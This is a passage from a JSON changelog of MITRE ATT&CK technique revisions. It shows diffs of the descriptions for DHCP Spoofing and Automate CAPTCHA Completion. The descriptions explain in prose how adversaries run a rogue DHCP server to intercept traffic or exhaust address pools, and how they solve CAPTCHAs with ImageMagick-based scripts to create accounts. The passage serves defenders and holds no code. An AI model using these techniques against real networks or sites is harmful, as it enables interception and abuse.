\"https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to26__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to26__0\"><a href=\"#difflib_chg_to26__top\">t</a></td><td class=\"diff_header\" id=\"from26_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;redirect&nbsp;network&nbsp;traffic&nbsp;to&nbsp;adversary-owned&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to26__top\">t</a></td><td class=\"diff_header\" id=\"to26_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;redirect&nbsp;network&nbsp;traffic&nbsp;to&nbsp;adversary-owned&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">systems&nbsp;by&nbsp;spoofing&nbsp;Dynamic&nbsp;Host&nbsp;Configuration&nbsp;Protocol&nbsp;(DHC</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">systems&nbsp;by&nbsp;spoofing&nbsp;Dynamic&nbsp;Host&nbsp;Configuration&nbsp;Protocol&nbsp;(DHC</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">P)&nbsp;traffic&nbsp;and&nbsp;acting&nbsp;as&nbsp;a&nbsp;malicious&nbsp;DHCP&nbsp;server&nbsp;on&nbsp;the&nbsp;vict</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">P)&nbsp;traffic&nbsp;and&nbsp;acting&nbsp;as&nbsp;a&nbsp;malicious&nbsp;DHCP&nbsp;server&nbsp;on&nbsp;the&nbsp;vict</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">im&nbsp;network.&nbsp;By&nbsp;achieving&nbsp;the&nbsp;adversary-in-the-middle&nbsp;(AiTM)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">im&nbsp;network.&nbsp;By&nbsp;achieving&nbsp;the&nbsp;adversary-in-the-middle&nbsp;(AiTM)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">position,&nbsp;adversaries&nbsp;may&nbsp;collect&nbsp;network&nbsp;communications,&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">position,&nbsp;adversaries&nbsp;may&nbsp;collect&nbsp;network&nbsp;communications,&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cluding&nbsp;passed&nbsp;credentials,&nbsp;especially&nbsp;those&nbsp;sent&nbsp;over&nbsp;insec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cluding&nbsp;passed&nbsp;credentials,&nbsp;especially&nbsp;those&nbsp;sent&nbsp;over&nbsp;insec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ure,&nbsp;unencrypted&nbsp;protocols.&nbsp;This&nbsp;may&nbsp;also&nbsp;enable&nbsp;follow-on&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ure,&nbsp;unencrypted&nbsp;protocols.&nbsp;This&nbsp;may&nbsp;also&nbsp;enable&nbsp;follow-on&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ehaviors&nbsp;such&nbsp;as&nbsp;[Network&nbsp;Sniffing](https://attack.mitre.org</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ehaviors&nbsp;such&nbsp;as&nbsp;[Network&nbsp;Sniffing](https://attack.mitre.org</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1040)&nbsp;or&nbsp;[Transmitted&nbsp;Data&nbsp;Manipulation](https:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1040)&nbsp;or&nbsp;[Transmitted&nbsp;Data&nbsp;Manipulation](https:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1565/002).&nbsp;&nbsp;DHCP&nbsp;is&nbsp;based&nbsp;on&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1565/002).&nbsp;&nbsp;DHCP&nbsp;is&nbsp;based&nbsp;on&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;client-server&nbsp;model&nbsp;and&nbsp;has&nbsp;two&nbsp;functionalities:&nbsp;a&nbsp;protoco</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;client-server&nbsp;model&nbsp;and&nbsp;has&nbsp;two&nbsp;functionalities:&nbsp;a&nbsp;protoco</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;for&nbsp;providing&nbsp;network&nbsp;configuration&nbsp;settings&nbsp;from&nbsp;a&nbsp;DHCP&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;for&nbsp;providing&nbsp;network&nbsp;configuration&nbsp;settings&nbsp;from&nbsp;a&nbsp;DHCP&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erver&nbsp;to&nbsp;a&nbsp;client&nbsp;and&nbsp;a&nbsp;mechanism&nbsp;for&nbsp;allocating&nbsp;network&nbsp;add</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erver&nbsp;to&nbsp;a&nbsp;client&nbsp;and&nbsp;a&nbsp;mechanism&nbsp;for&nbsp;allocating&nbsp;network&nbsp;add</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">resses&nbsp;to&nbsp;clients.(Citation:&nbsp;rfc2131)&nbsp;The&nbsp;typical&nbsp;server-cli</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">resses&nbsp;to&nbsp;clients.(Citation:&nbsp;rfc2131)&nbsp;The&nbsp;typical&nbsp;server-cli</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ent&nbsp;interaction&nbsp;is&nbsp;as&nbsp;follows:&nbsp;&nbsp;&nbsp;1.&nbsp;The&nbsp;client&nbsp;broadcasts&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ent&nbsp;interaction&nbsp;is&nbsp;as&nbsp;follows:&nbsp;&nbsp;&nbsp;1.&nbsp;The&nbsp;client&nbsp;broadcasts&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">`DISCOVER`&nbsp;message.&nbsp;&nbsp;2.&nbsp;The&nbsp;server&nbsp;responds&nbsp;with&nbsp;an&nbsp;`OFFER`&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">`DISCOVER`&nbsp;message.&nbsp;&nbsp;2.&nbsp;The&nbsp;server&nbsp;responds&nbsp;with&nbsp;an&nbsp;`OFFER`&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">message,&nbsp;which&nbsp;includes&nbsp;an&nbsp;available&nbsp;network&nbsp;address.&nbsp;&nbsp;&nbsp;3.&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">message,&nbsp;which&nbsp;includes&nbsp;an&nbsp;available&nbsp;network&nbsp;address.&nbsp;&nbsp;&nbsp;3.&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;client&nbsp;broadcasts&nbsp;a&nbsp;`REQUEST`&nbsp;message,&nbsp;which&nbsp;includes&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;client&nbsp;broadcasts&nbsp;a&nbsp;`REQUEST`&nbsp;message,&nbsp;which&nbsp;includes&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;network&nbsp;address&nbsp;offered.&nbsp;&nbsp;&nbsp;4.&nbsp;The&nbsp;server&nbsp;acknowledges&nbsp;with&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;network&nbsp;address&nbsp;offered.&nbsp;&nbsp;&nbsp;4.&nbsp;The&nbsp;server&nbsp;acknowledges&nbsp;with&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;`ACK`&nbsp;message&nbsp;and&nbsp;the&nbsp;client&nbsp;receives&nbsp;the&nbsp;network&nbsp;configu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;`ACK`&nbsp;message&nbsp;and&nbsp;the&nbsp;client&nbsp;receives&nbsp;the&nbsp;network&nbsp;configu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ration&nbsp;parameters.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;spoof&nbsp;as&nbsp;a&nbsp;rogue&nbsp;DHCP&nbsp;se</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ration&nbsp;parameters.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;spoof&nbsp;as&nbsp;a&nbsp;rogue&nbsp;DHCP&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rver&nbsp;on&nbsp;the&nbsp;victim&nbsp;network,&nbsp;from&nbsp;which&nbsp;legitimate&nbsp;hosts&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rver&nbsp;on&nbsp;the&nbsp;victim&nbsp;network,&nbsp;from&nbsp;which&nbsp;legitimate&nbsp;hosts&nbsp;may&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">receive&nbsp;malicious&nbsp;network&nbsp;configurations.&nbsp;For&nbsp;example,&nbsp;malwa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">receive&nbsp;malicious&nbsp;network&nbsp;configurations.&nbsp;For&nbsp;example,&nbsp;malwa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;can&nbsp;act&nbsp;as&nbsp;a&nbsp;DHCP&nbsp;server&nbsp;and&nbsp;provide&nbsp;adversary-owned&nbsp;DNS&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;can&nbsp;act&nbsp;as&nbsp;a&nbsp;DHCP&nbsp;server&nbsp;and&nbsp;provide&nbsp;adversary-owned&nbsp;DNS&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">servers&nbsp;to&nbsp;the&nbsp;victimized&nbsp;computers.(Citation:&nbsp;new_rogue_DHC</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">servers&nbsp;to&nbsp;the&nbsp;victimized&nbsp;computers.(Citation:&nbsp;new_rogue_DHC</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">P_serv_malware)(Citation:&nbsp;w32.tidserv.g)&nbsp;Through&nbsp;the&nbsp;malicio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">P_serv_malware)(Citation:&nbsp;w32.tidserv.g)&nbsp;Through&nbsp;the&nbsp;malicio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">us&nbsp;network&nbsp;configurations,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;achieve&nbsp;the&nbsp;AiTM</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">us&nbsp;network&nbsp;configurations,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;achieve&nbsp;the&nbsp;AiTM</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;position,&nbsp;route&nbsp;client&nbsp;traffic&nbsp;through&nbsp;adversary-controlled</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;position,&nbsp;route&nbsp;client&nbsp;traffic&nbsp;through&nbsp;adversary-controlled</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems,&nbsp;and&nbsp;collect&nbsp;information&nbsp;from&nbsp;the&nbsp;client&nbsp;network.&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems,&nbsp;and&nbsp;collect&nbsp;information&nbsp;from&nbsp;the&nbsp;client&nbsp;network.&nbsp;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DHCPv6&nbsp;clients&nbsp;can&nbsp;receive&nbsp;network&nbsp;configuration&nbsp;information</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DHCPv6&nbsp;clients&nbsp;can&nbsp;receive&nbsp;network&nbsp;configuration&nbsp;information</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;without&nbsp;being&nbsp;assigned&nbsp;an&nbsp;IP&nbsp;address&nbsp;by&nbsp;sending&nbsp;a&nbsp;&lt;code&gt;INF</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;without&nbsp;being&nbsp;assigned&nbsp;an&nbsp;IP&nbsp;address&nbsp;by&nbsp;sending&nbsp;a<span class=\"diff_add\">n</span>&nbsp;&lt;code&gt;IN</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ORMATION-REQUEST&nbsp;(code&nbsp;11)&lt;/code&gt;&nbsp;message&nbsp;to&nbsp;the&nbsp;&lt;code&gt;All_D</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">FORMATION-REQUEST&nbsp;(code&nbsp;11)&lt;/code&gt;&nbsp;message&nbsp;to&nbsp;the&nbsp;&lt;code&gt;All_</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">HCP_Relay_Agents_and_Servers&lt;/code&gt;&nbsp;multicast&nbsp;address.(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DHCP_Relay_Agents_and_Servers&lt;/code&gt;&nbsp;multicast&nbsp;address.(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;rfc3315)&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;their&nbsp;rogue&nbsp;DHCP&nbsp;server&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;rfc3315)&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;their&nbsp;rogue&nbsp;DHCP&nbsp;server&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;respond&nbsp;to&nbsp;this&nbsp;request&nbsp;message&nbsp;with&nbsp;malicious&nbsp;network&nbsp;conf</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;respond&nbsp;to&nbsp;this&nbsp;request&nbsp;message&nbsp;with&nbsp;malicious&nbsp;network&nbsp;con</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">igurations.&nbsp;&nbsp;Rather&nbsp;than&nbsp;establishing&nbsp;an&nbsp;AiTM&nbsp;position,&nbsp;adve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">figurations.&nbsp;&nbsp;Rather&nbsp;than&nbsp;establishing&nbsp;an&nbsp;AiTM&nbsp;position,&nbsp;adv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;also&nbsp;abuse&nbsp;DHCP&nbsp;spoofing&nbsp;to&nbsp;perform&nbsp;a&nbsp;DHCP&nbsp;exhau</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersaries&nbsp;may&nbsp;also&nbsp;abuse&nbsp;DHCP&nbsp;spoofing&nbsp;to&nbsp;perform&nbsp;a&nbsp;DHCP&nbsp;exha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stion&nbsp;attack&nbsp;(i.e,&nbsp;[Service&nbsp;Exhaustion&nbsp;Flood](https://attack</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ustion&nbsp;attack&nbsp;(i.e<span class=\"diff_add\">.</span>,&nbsp;[Service&nbsp;Exhaustion&nbsp;Flood](https://atta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1499/002))&nbsp;by&nbsp;generating&nbsp;many&nbsp;broadca</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/techniques/T1499/002))&nbsp;by&nbsp;generating&nbsp;many&nbsp;broad</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">st&nbsp;DISCOVER&nbsp;messages&nbsp;to&nbsp;exhaust&nbsp;a&nbsp;network\u2019s&nbsp;DHCP&nbsp;allocation&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cast&nbsp;DISCOVER&nbsp;messages&nbsp;to&nbsp;exhaust&nbsp;a&nbsp;network\u2019s&nbsp;DHCP&nbsp;allocatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pool.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;pool.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1031: Network Intrusion Prevention",
                            "M1037: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0468: Detect DHCP Spoofing Across Linux, Windows, and macOS"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d35b46b5-9be7-4a74-810b-2eabdd167fea",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-21 19:14:28.867000+00:00",
                    "modified": "2026-11-03 23:24:55.899000+00:00",
                    "name": "Automate CAPTCHA Completion",
                    "description": "Adversaries may attempt to use bots to successfully solve CAPTCHA challenges. CAPTCHA challenges are typically used by defenders to detect and prevent bot and spam traffic from accessing protected webpages. CAPTCHAs are automated tests often placed before login screens or form fields. Traditional CAPTCHAs ask the user to decipher a string of characters, type the characters into a box, and submit the form. reCAPTCHA asks the user to identify images, click a checkbox, or evaluate the user\u2019s behavior from mouse movement and device cookies.(Citation: CAPTCHAS Cloudflare) \n\nAdversaries may use scripts or toolkits to automatically solve the CAPTCHA puzzle. For example, adversaries may develop a script that uses the ImageMagick toolkit to solve the CAPTCHA puzzles to then create multiple valid accounts. ImageMagick tool can convert the images into an RGB complemented image. The CAPTCHA challenge may be solved by identifying and comparing attributes of the RGB images to select the expected image.(Citation: Free Trial PurpleUrchin) Once the CAPTCHA challenge is solved, the adversary\u2019s script may access the protected page. After accessing the protected the page, the adversary may submit valid forms to the target. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1696/001",
                            "external_id": "T1696.001"
                        },
                        {
                            "source_name": "CAPTCHAS Cloudflare",
                            "description": "Cloudflare. (n.d.). How CAPTCHAs work | What does CAPTCHA mean?. Retrieved September 16, 2026.",
                            "url": "https://www.cloudflare.com/learning/bots/how-captchas-work/"
                        },
                        {
                            "source_name": "Free Trial PurpleUrchin",
                            "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                            "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "SaaS"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:24:55.899000+00:00\", \"old_value\": \"2026-09-21 19:15:50.488000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to use bots to successfully solve CAPTCHA challenges. CAPTCHA challenges are typically used by defenders to detect and prevent bot and spam traffic from accessing protected webpages. CAPTCHAs are automated tests often placed before login screens or form fields. Traditional CAPTCHAs ask the user to decipher a string of characters, type the characters into a box, and submit the form. reCAPTCHA asks the user to identify images, click a checkbox, or evaluate the user\\u2019s behavior from mouse movement and device cookies.(Citation: CAPTCHAS Cloudflare) \\n\\nAdversaries may use scripts or toolkits to automatically solve the CAPTCHA puzzle. For example, adversaries may develop a script that uses the ImageMagick toolkit to solve the CAPTCHA puzzles to then create multiple valid accounts. ImageMagick tool can convert the images into an RGB complemented image. The CAPTCHA challenge may be solved by identifying and comparing attributes of the RGB images to select the expected image.(Citation: Free Trial PurpleUrchin) Once the CAPTCHA challenge is solved, the adversary\\u2019s script may access the protected page. After accessing the protected the page, the adversary may submit valid forms to the target. \", \"old_value\": \"Adversaries may attempt to use bots to successfully solve CAPTCHA challenges. CAPTCHA challenges are typically used by defenders to detect and prevent bot and spam traffic from accessing protected webpages. CAPTCHAs are automated tests often placed before login screens or form fields. Traditional CAPTCHAs ask the user to decipher a string of characters, type the characters into a box, and submit the form. reCAPTCHA asks the user to identify images, click a checkbox, or evaluate the user\\u2019s behavior from mouse movement and device cookies.(Citation: CAPTCHAS Cloudflare) \\n\\nAdversaries may use scripts or toolkits to automatically solve the CAPTCHA puzzle. For example, adversaries may develop a script that uses the ImageMagick toolkit to solve the CAPTCHA puzzles to then create multiple valid accounts. ImageMagick tool can convert the images into a RGB complemented image. The CAPTCHA challenge may be solved by identifying and comparing attributes of the RGB images to select the expected image.(Citation: Free Trial PurpleUrchin) Once the CAPTCHA challenge is solved, the adversary\\u2019s script may access the protected page. After accessing the protected the page, the adversary may submit valid forms to the target. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may attempt to use bots to successfully solve CAPTCHA challenges. CAPTCHA challenges are typically used by defenders to detect and prevent bot and spam traffic from accessing protected webpages. CAPTCHAs are automated tests often placed before login screens or form fields. Traditional CAPTCHAs ask the user to decipher a string of characters, type the characters into a box, and submit the form. reCAPTCHA asks the user to identify images, click a checkbox, or evaluate the user\\u2019s behavior from mouse movement and device cookies.(Citation: CAPTCHAS Cloudflare) \\n \\n-Adversaries may use scripts or toolkits to automatically solve the CAPTCHA puzzle. For example, adversaries may develop a script that uses the ImageMagick toolkit to solve the CAPTCHA puzzles to then create multiple valid accounts. ImageMagick tool can convert the images into a RGB complemented image. The CAPTCHA challenge may be solved by identifying and comparing attributes of the RGB images to select the expected image.(Citation: Free Trial PurpleUrchin) Once the CAPTCHA challenge is solved, the adversary\\u2019s script may access the protected page. After accessing the protected the page, the adversary may submit valid forms to the target. \\n+Adversaries may use scripts or toolkits to automatically solve the CAPTCHA puzzle. For example, adversaries may develop a script that uses the ImageMagick toolkit to solve the CAPTCHA puzzles to then create multiple valid accounts. ImageMagick tool can convert the images into an RGB complemented image. The CAPTCHA challenge may be solved by identifying and comparing attributes of the RGB images to select the expected image.(Citation: Free Trial PurpleUrchin) Once the CAPTCHA challenge is solved, the adversary\\u2019s script may access the protected page. After accessing the protected the page, the adversary may submit valid forms to the target. \"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to101__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to101__0\"><a href=\"#difflib_chg_to101__top\">t</a></td><td class=\"diff_header\" id=\"from101_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;use&nbsp;bots&nbsp;to&nbsp;successfully&nbsp;solve&nbsp;CA</td><td class=\"diff_next\"><a href=\"#difflib_chg_to101__top\">t</a></td><td class=\"diff_header\" id=\"to101_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;use&nbsp;bots&nbsp;to&nbsp;successfully&nbsp;solve&nbsp;CA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PTCHA&nbsp;challenges.&nbsp;CAPTCHA&nbsp;challenges&nbsp;are&nbsp;typically&nbsp;used&nbsp;by&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PTCHA&nbsp;challenges.&nbsp;CAPTCHA&nbsp;challenges&nbsp;are&nbsp;typically&nbsp;used&nbsp;by&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efenders&nbsp;to&nbsp;detect&nbsp;and&nbsp;prevent&nbsp;bot&nbsp;and&nbsp;spam&nbsp;traffic&nbsp;from&nbsp;acc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efenders&nbsp;to&nbsp;detect&nbsp;and&nbsp;prevent&nbsp;bot&nbsp;and&nbsp;spam&nbsp;traffic&nbsp;from&nbsp;acc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">essing&nbsp;protected&nbsp;webpages.&nbsp;CAPTCHAs&nbsp;are&nbsp;automated&nbsp;tests&nbsp;ofte</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">essing&nbsp;protected&nbsp;webpages.&nbsp;CAPTCHAs&nbsp;are&nbsp;automated&nbsp;tests&nbsp;ofte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;placed&nbsp;before&nbsp;login&nbsp;screens&nbsp;or&nbsp;form&nbsp;fields.&nbsp;Traditional&nbsp;CA</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;placed&nbsp;before&nbsp;login&nbsp;screens&nbsp;or&nbsp;form&nbsp;fields.&nbsp;Traditional&nbsp;CA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 